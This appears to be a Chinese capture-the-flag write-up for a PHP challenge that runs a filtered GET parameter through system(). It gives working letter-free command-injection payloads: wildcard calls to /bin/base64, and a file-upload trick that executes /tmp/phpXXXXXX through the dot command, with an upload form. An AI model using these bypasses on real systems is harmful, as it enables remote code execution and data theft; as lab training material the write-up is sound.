1. 代码审计

      1. <?php
      2. if(isset($_GET['c'])){
      3. $c=$_GET['c'];
      4. if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c))
      5. //过滤了字母 ; ` % %09 &号
      6. {
      7. system($c);
      8. }
      9. }else{
      10. highlight_file(__FILE__);
      11. }
    2. 这里把字母过滤了,但是数字没有被过滤,所以要构造无文字的命令,这里参考了几篇文章,有几种办法。

    3. 第一种利用linux环境下,/bin目录有系统常用命令,例如:cat、cp、chmod、df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等,可以直接利用通配符进行调用

      #没有过滤数字,可以用base64进行编码
      ?c=/???/????64 ????.???
      

      image-20210706103253584.png

    4. 第二种是制作无字母数字的命令,在php中,如果我们进行上传文件,会通常在服务器端保存为/tmp/phpxxxxxx的形式,有条件竞争异曲同工之妙,文件名最后的6个字符是随机的大小写字母,而且最后一个字符大概率是大写字母。容易想到的匹配方式就是利用进行匹配,即/???/?????????,然而因为/tmp目录下还有很多文件也也符合条件,也会被匹配上。但是最后一个字符大概率是大写字母,观察ascii表可以发现,在大写字母A的前一个符号为@,大写字母Z的后一个字母为[,因此我们可以使用[@-[]来表示匹配大写字母,也就是变成了这样的形式:/???/????????[@-[],到这一步已经能匹配到了我们上传的文件。如何执行呢,linux系统中可以用.进行执行,相当于source 可以执行sh命令。具体命令的原理可以看后面的参考文章。

    5. 我们要先制作一个post上传文件表单

      <!DOCTYPE html>
      <html lang="en">
      <head>
      <meta charset="UTF-8">
      <title>upload</title>
      </head>
      <body>
      <form action="http://xxxxxxx.challenge.ctf.show:8080/" method="post" enctype="multipart/form-data">
      <!-- 地址就写服务器的地址-->
      <input type="file" name="file" id="file"><br>
      <input type="submit" name="submit" value="提交">
      </form>
      </body>
      </html>
      
    6. 抓包上传文件,构造POC
      image-20210706104958620.png

    7. 修改shell命令查看flag
      image-20210706105244732.png

    参考文章:
    P神-无字母数字webshell之提高篇
    Firebasky-无字母数字命令执行
    LINUX中的点命令,或source命令,或点符号